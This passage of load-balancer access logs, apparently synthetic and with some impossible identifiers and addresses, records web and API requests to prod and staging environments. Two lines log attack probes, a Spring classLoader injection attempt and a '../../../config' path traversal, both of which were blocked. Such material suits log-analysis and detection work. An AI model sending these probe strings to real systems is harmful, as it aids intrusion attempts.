arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bede-5c7efc81bf8e486eb305313e" "prod-api-alb.example.com" "-" 0 2024-11-01T00:31:10.971817Z "forward" "-" "-" "10.0.231.242:443" "200" "-" "-" +https 2024-11-01T00:31:11.424221Z prod-web-alb 80.173.65.194:19399 10.0.155.219:443 0.003633 0.089351 0.059995 302 302 750 6076 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bedf-f98c8584db954d98b86b54b9" "prod-web-alb.example.com" "-" 1 2024-11-01T00:31:11.424221Z "forward" "-" "-" "10.0.155.219:443" "302" "-" "-" +https 2024-11-01T00:31:11.941198Z prod-web-alb 111.12.33.219:28505 10.0.156.187:443 0.006086 0.245188 0.008490 301 301 203 7417 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bedf-fea1ae7c4b38449692bf0313" "prod-web-alb.example.com" "-" 0 2024-11-01T00:31:11.941198Z "forward" "-" "-" "10.0.156.187:443" "301" "-" "-" +https 2024-11-01T00:31:12.736873Z staging-alb 160.142.235.186:27441 65.89.193.13:443 0.115994 0.329967 0.036865 200 200 354 3936 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bee0-565a118ac1a4490694461197" "staging-alb.example.com" "-" 8 2024-11-01T00:31:12.736873Z "forward" "-" "-" "65.89.193.13:443" "200" "-" "-" +https 2024-11-01T00:31:14.053120Z staging-alb 57.147.3.145:28436 47.56.234.60:8080 0.118300 0.239188 0.106588 200 200 469 10825 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bee2-8be7e5ef08fc4adbb92c3fad" "staging-alb.example.com" "-" 9 2024-11-01T00:31:14.053120Z "forward" "-" "-" "47.56.234.60:8080" "200" "-" "-" +https 2024-11-01T00:31:15.867276Z prod-web-alb 65.227.0.167:40686 10.0.90.154:443 0.036264 0.150635 0.023498 404 404 77 13144 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bee3-be322756c29b42a8bcd0eca4" "prod-web-alb.example.com" "-" 5 2024-11-01T00:31:15.867276Z "forward" "-" "-" "10.0.90.154:443" "404" "-" "-" +https 2024-11-01T00:31:16.020655Z staging-alb 46.220.62.129:62091 208.58.230.220:80 0.078105 0.102294 0.035439 200 200 993 9227 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bee4-93b1d15add5d41ea863b6203" "staging-alb.example.com" "-" 4 2024-11-01T00:31:16.020655Z "forward" "-" "-" "208.58.230.220:80" "200" "-" "-" +https 2024-11-01T00:31:16.146495Z prod-api-alb 145.177.150.110:26238 10.0.106.1:443 0.045107 0.014504 0.065404 200 200 849 6816 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bee4-b86f19ebc5e74de8844d413c" "-" "-" 0 2024-11-01T00:31:16.146495Z "forward" "-" "-" "10.0.106.1:443" "200" "-" "-" +https 2024-11-01T00:31:17.247226Z prod-api-alb 119.39.92.11:23142 10.0.206.151:443 0.092210 0.114210 0.056933 200 200 32 5385 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bee5-05328cc6a95341e69d447e94" "prod-api-alb.example.com" "-" 1 2024-11-01T00:31:17.247226Z "forward" "-" "-" "10.0.206.151:443" "200" "-" "-" +https 2024-11-01T00:31:18.474522Z staging-alb 22.1.213.96:26143 42.15.198.20:80 0.100745 0.672459 0.126627 302 302 769 5148 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bee6-b9f21e6661ab498cae492192" "-" "-" 3 2024-11-01T00:31:18.474522Z "forward" "-" "-" "42.15.198.20:80" "302" "-" "-" +http 2024-11-01T00:31:20.422210Z staging-alb 156.160.188.57:31743 186.181.88.162:8080 0.000473 0.667827 0.083963 302 302 550 10843 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bee8-f9b077568b8c4dfbb2baecac" "staging-alb.example.com" "-" 5 2024-11-01T00:31:20.422210Z "forward" "-" "-" "186.181.88.162:8080" "302" "-" "-" +https 2024-11-01T00:31:21.931466Z prod-api-alb 45.135.225.76:17441 10.0.112.247:443 0.043067 0.146771 0.093825 200 200 318 6118 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bee9-9ad7a8fd605a4e8fbe888110" "prod-api-alb.example.com" "-" 8 2024-11-01T00:31:21.931466Z "forward" "-" "-" "10.0.112.247:443" "200" "-" "-" +https 2024-11-01T00:31:23.745842Z prod-api-alb 47.160.211.17:33665 10.0.151.140:443 0.048529 0.468389 0.048854 200 200 158 12214 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723beeb-08e95d82b8954c32a4ca69bd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:31:23.745842Z "forward" "-" "-" "10.0.151.140:443" "200" "-" "-" +https 2024-11-01T00:31:24.045488Z staging-alb 220.50.28.123:23738 52.216.25.130:443 0.045909 0.000585 0.127345 404 404 255 12667 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beec-4996ddcf9e324619b84cf071" "staging-alb.example.com" "-" 10 2024-11-01T00:31:24.045488Z "forward" "-" "-" "52.216.25.130:443" "404" "-" "-" +http 2024-11-01T00:31:25.470035Z staging-alb 160.134.192.218:44132 249.236.178.67:8080 0.011932 0.305030 0.148319 404 404 780 7571 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beed-dc753bec5ba845949b7e37f9" "staging-alb.example.com" "-" 3 2024-11-01T00:31:25.470035Z "forward" "-" "-" "249.236.178.67:8080" "404" "-" "-" +https 2024-11-01T00:31:26.278877Z prod-api-alb 135.219.242.106:49755 10.0.182.170:443 0.092106 0.094699 0.026037 302 302 874 2608 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beee-d3f9210fd5504ea886f55847" "prod-api-alb.example.com" "-" 10 2024-11-01T00:31:26.278877Z "forward" "-" "-" "10.0.182.170:443" "302" "-" "-" +https 2024-11-01T00:31:27.656262Z staging-alb 204.200.229.29:32854 1.202.143.78:443 0.052028 0.554065 0.014737 302 302 916 11579 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723beef-e877994ea9904be9b2684354" "staging-alb.example.com" "-" 2 2024-11-01T00:31:27.656262Z "forward" "-" "-" "1.202.143.78:443" "302" "-" "-" +https 2024-11-01T00:31:29.174974Z prod-api-alb 83.117.81.175:44787 10.0.239.64:443 0.005412 0.292617 0.051668 301 301 868 6423 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bef1-9399121195d142939a4fe361" "prod-api-alb.example.com" "-" 4 2024-11-01T00:31:29.174974Z "forward" "-" "-" "10.0.239.64:443" "301" "-" "-" +https 2024-11-01T00:31:30.438348Z prod-web-alb 7.241.5.213:41997 10.0.82.169:443 0.005980 0.396119 0.079739 200 200 676 11629 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bef2-61d850f3273b491fbea5bbde" "prod-web-alb.example.com" "-" 8 2024-11-01T00:31:30.438348Z "forward" "-" "-" "10.0.82.169:443" "200" "-" "-" +http 2024-11-01T00:31:32.396666Z staging-alb 224.206.98.7:21451 117.72.192.184:8080 0.035898 0.668511 0.135087 404 404 258 13091 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bef4-3093b422ddde4e94ba333e07" "staging-alb.example.com" "-" 2 2024-11-01T00:31:32.396666Z "forward" "-" "-" "117.72.192.184:8080" "404" "-" "-" +https 2024-11-01T00:31:33.479081Z prod-api-alb 146.203.103.12:53034 10.0.253.210:443 0.046399 0.021747 0.011634 200 200 57 5087 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bef5-bcd89819cec7432d905fe103" "prod-api-alb.example.com" "-" 8 2024-11-01T00:31:33.479081Z "forward" "-" "-" "10.0.253.210:443" "200" "-" "-" +https 2024-11-01T00:31:33.954242Z prod-web-alb 214.158.81.240:16161 10.0.153.115:443 0.034939 0.315728 0.085880 200 200 817 6163 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bef5-30533fdeff9c4d768d75e0b5" "prod-web-alb.example.com" "-" 5 2024-11-01T00:31:33.954242Z "forward" "-" "-" "10.0.153.115:443" "200" "-" "-" +https 2024-11-01T00:31:34.797196Z prod-api-alb 137.52.228.108:13755 10.0.206.226:443 0.036884 0.284855 0.084708 200 200 1000 14749 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bef6-fe322350a38e45fcb6e94e7c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:31:34.797196Z "forward" "-" "-" "10.0.206.226:443" "200" "-" "-" +http 2024-11-01T00:31:35.655922Z staging-alb 223.199.220.204:18989 246.168.120.208:443 0.143545 0.340897 0.022967 200 200 693 5592 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bef7-d918934d0f32404c8cbf513d" "staging-alb.example.com" "-" 4 2024-11-01T00:31:35.655922Z "forward" "-" "-" "246.168.120.208:443" "200" "-" "-" +https 2024-11-01T00:31:36.057565Z prod-api-alb 167.48.209.106:62953 10.0.119.118:443 0.006102 0.123784 0.033133 404 404 477 13351 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bef8-1d92e644b84244afb4715b04" "prod-api-alb.example.com" "-" 7 2024-11-01T00:31:36.057565Z "forward" "-" "-" "10.0.119.118:443" "404" "-" "-" +https 2024-11-01T00:31:37.178421Z prod-api-alb 107.194.18.200:32022 10.0.97.169:443 0.018152 0.393647 0.062255 200 200 136 13353 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bef9-2f489aea0ab94764bef77a6b" "prod-api-alb.example.com" "-" 5 2024-11-01T00:31:37.178421Z "forward" "-" "-" "10.0.97.169:443" "200" "-" "-" +https 2024-11-01T00:31:38.230108Z prod-api-alb 110.26.249.140:50081 10.0.129.216:443 0.071012 0.020730 0.048727 200 200 580 895 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723befa-2ff75b166c4142af9c75aa37" "prod-api-alb.example.com" "-" 9 2024-11-01T00:31:38.230108Z "forward" "-" "-" "10.0.129.216:443" "200" "-" "-" +https 2024-11-01T00:31:39.402233Z prod-web-alb 49.249.18.119:36950 10.0.161.223:443 0.092311 0.149836 0.034623 301 301 391 1765 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723befb-62341a4662ac4999aa2aff1a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:31:39.402233Z "forward" "-" "-" "10.0.161.223:443" "301" "-" "-" +https 2024-11-01T00:31:40.756643Z prod-web-alb 153.122.128.103:27729 10.0.26.174:443 0.021759 0.224979 0.018724 200 200 172 4110 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723befc-5b0fe417b09e463ab1bb6918" "prod-web-alb.example.com" "-" 5 2024-11-01T00:31:40.756643Z "forward" "-" "-" "10.0.26.174:443" "200" "-" "-" +https 2024-11-01T00:31:42.412671Z prod-web-alb 45.155.205.66:55403 10.0.36.184:443 0.080073 0.263079 0.040589 403 403 949 9521 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723befe-65a55d0c0e284746a479d56e" "-" "-" 0 2024-11-01T00:31:42.412671Z "forward" "-" "-" "10.0.36.184:443" "403" "-" "-" +https 2024-11-01T00:31:43.597896Z staging-alb 133.246.144.219:30904 71.102.184.185:8080 0.090577 0.305019 0.146295 200 200 939 593 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beff-2f9298f72e12425bba2850b1" "staging-alb.example.com" "-" 6 2024-11-01T00:31:43.597896Z "forward" "-" "-" "71.102.184.185:8080" "200" "-" "-" +https 2024-11-01T00:31:44.907952Z prod-web-alb 53.135.28.75:34754 10.0.48.223:443 0.068648 0.466062 0.034407 200 200 865 1626 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf00-2c44bd5fdb5c4e709d1c8e91" "prod-web-alb.example.com" "-" 9 2024-11-01T00:31:44.907952Z "forward" "-" "-" "10.0.48.223:443" "200" "-" "-" +https 2024-11-01T00:31:45.149673Z prod-api-alb 124.71.117.227:62497 10.0.164.200:443 0.001692 0.025160 0.018950 200 200 582 3415 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf01-473b13ebed8145679d530a88" "prod-api-alb.example.com" "-" 0 2024-11-01T00:31:45.149673Z "forward" "-" "-" "10.0.164.200:443" "200" "-" "-" +http 2024-11-01T00:31:45.376744Z staging-alb 12.5.171.128:44904 154.97.94.26:8080 0.007468 0.038830 0.017606 200 200 381 1777 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf01-f983eb8d9a6544afbfa46eaf" "staging-alb.example.com" "-" 2 2024-11-01T00:31:45.376744Z "forward" "-" "-" "154.97.94.26:8080" "200" "-" "-" +https 2024-11-01T00:31:47.175866Z staging-alb 58.191.80.63:27892 125.191.249.9:443 0.139972 0.043409 0.094849 200 200 620 5973 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf03-654cd2855bba4c9fb7e94a7f" "staging-alb.example.com" "-" 9 2024-11-01T00:31:47.175866Z "forward" "-" "-" "125.191.249.9:443" "200" "-" "-" +https 2024-11-01T00:31:49.175786Z prod-web-alb 193.27.228.120:54997 10.0.92.119:443 0.069096 0.079410 0.064101 403 403 730 1708 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf05-19321f74965f48e58a368d27" "-" "-" 1 2024-11-01T00:31:49.175786Z "forward" "-" "-" "10.0.92.119:443" "403" "-" "-" +https 2024-11-01T00:31:49.416166Z prod-api-alb 104.140.247.191:57579 10.0.146.112:443 0.000309 0.463542 0.068191 301 301 144 1242 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf05-d637d27c7faf443dac53f835" "prod-api-alb.example.com" "-" 3 2024-11-01T00:31:49.416166Z "forward" "-" "-" "10.0.146.112:443" "301" "-" "-" +https 2024-11-01T00:31:49.730048Z prod-api-alb 237.138.140.143:16578 10.0.110.31:443 0.060205 0.392937 0.020261 302 302 734 1522 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf05-d0da0d040cb44ba19027f2b0" "prod-api-alb.example.com" "-" 3 2024-11-01T00:31:49.730048Z "forward" "-" "-" "10.0.110.31:443" "302" "-" "-" +https 2024-11-01T00:31:50.087721Z prod-api-alb 163.205.248.62:42234 10.0.233.179:443 0.038275 0.467098 0.005566 200 200 980 1365 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf06-592d1d41a0ef48619005698b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:31:50.087721Z "forward" "-" "-" "10.0.233.179:443" "200" "-" "-" +https 2024-11-01T00:31:50.425695Z prod-web-alb 168.45.37.83:21343 10.0.62.107:443 0.046020 0.104002 0.090994 200 200 401 1664 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf06-25c913ea8bfd4cadb6e756c7" "prod-web-alb.example.com" "-" 6 2024-11-01T00:31:50.425695Z "forward" "-" "-" "10.0.62.107:443" "200" "-" "-" +http 2024-11-01T00:31:50.534643Z staging-alb 216.243.133.213:14226 85.142.51.62:8080 0.145339 0.335373 0.087346 200 200 236 11412 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf06-d9ce00a0bdaa4230922d6882" "staging-alb.example.com" "-" 8 2024-11-01T00:31:50.534643Z "forward" "-" "-" "85.142.51.62:8080" "200" "-" "-" +https 2024-11-01T00:31:51.608338Z staging-alb 11.184.246.87:36257 171.74.172.139:80 0.081236 0.165974 0.083947 301 301 271 5825 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf07-b6c61478a8934f658d811923" "staging-alb.example.com" "-" 9 2024-11-01T00:31:51.608338Z "forward" "-" "-" "171.74.172.139:80" "301" "-" "-" +https 2024-11-01T00:31:52.104006Z prod-web-alb 116.146.223.91:31982 10.0.122.144:443 0.041781 0.100251 0.028660 302 302 559 8470 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf08-9a971a7c3a8e41689f3821d4" "prod-web-alb.example.com" "-" 4 2024-11-01T00:31:52.104006Z "forward" "-" "-" "10.0.122.144:443" "302" "-" "-" +https 2024-11-01T00:31:53.919563Z staging-alb 56.121.173.249:41704 76.40.126.61:80 0.114947 0.700185 0.011928 200 200 3 656 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf09-edd77dd953304d288c13ec92" "staging-alb.example.com" "-" 1 2024-11-01T00:31:53.919563Z "forward" "-" "-" "76.40.126.61:80" "200" "-" "-" +https 2024-11-01T00:31:55.139679Z prod-api-alb 61.198.185.218:27105 10.0.2.247:443 0.051929 0.351707 0.068744 302 302 11 9103 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf0b-b4dad9cb97644967a88b289b" "prod-api-alb.example.com" "-" 2 2024-11-01T00:31:55.139679Z "forward" "-" "-" "10.0.2.247:443" "302" "-" "-" +https 2024-11-01T00:31:55.903523Z prod-web-alb 73.68.118.49:48555 10.0.18.72:443 0.011167 0.210475 0.095306 200 200 629 9770 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf0b-3b9b85c585154bf292aff8eb" "prod-web-alb.example.com" "-" 1 2024-11-01T00:31:55.903523Z "forward" "-" "-" "10.0.18.72:443" "200" "-" "-" +https 2024-11-01T00:31:56.128018Z prod-api-alb 234.60.95.219:45261 10.0.139.121:443 0.091555 0.319802 0.040254 200 200 428 4984 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf0c-aec7dd7b14f1482789ba1138" "prod-api-alb.example.com" "-" 6 2024-11-01T00:31:56.128018Z "forward" "-" "-" "10.0.139.121:443" "200" "-" "-" +http 2024-11-01T00:31:56.609607Z staging-alb 222.133.24.180:32075 103.96.85.87:443 0.006859 0.094024 0.126605 301 301 217 11634 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 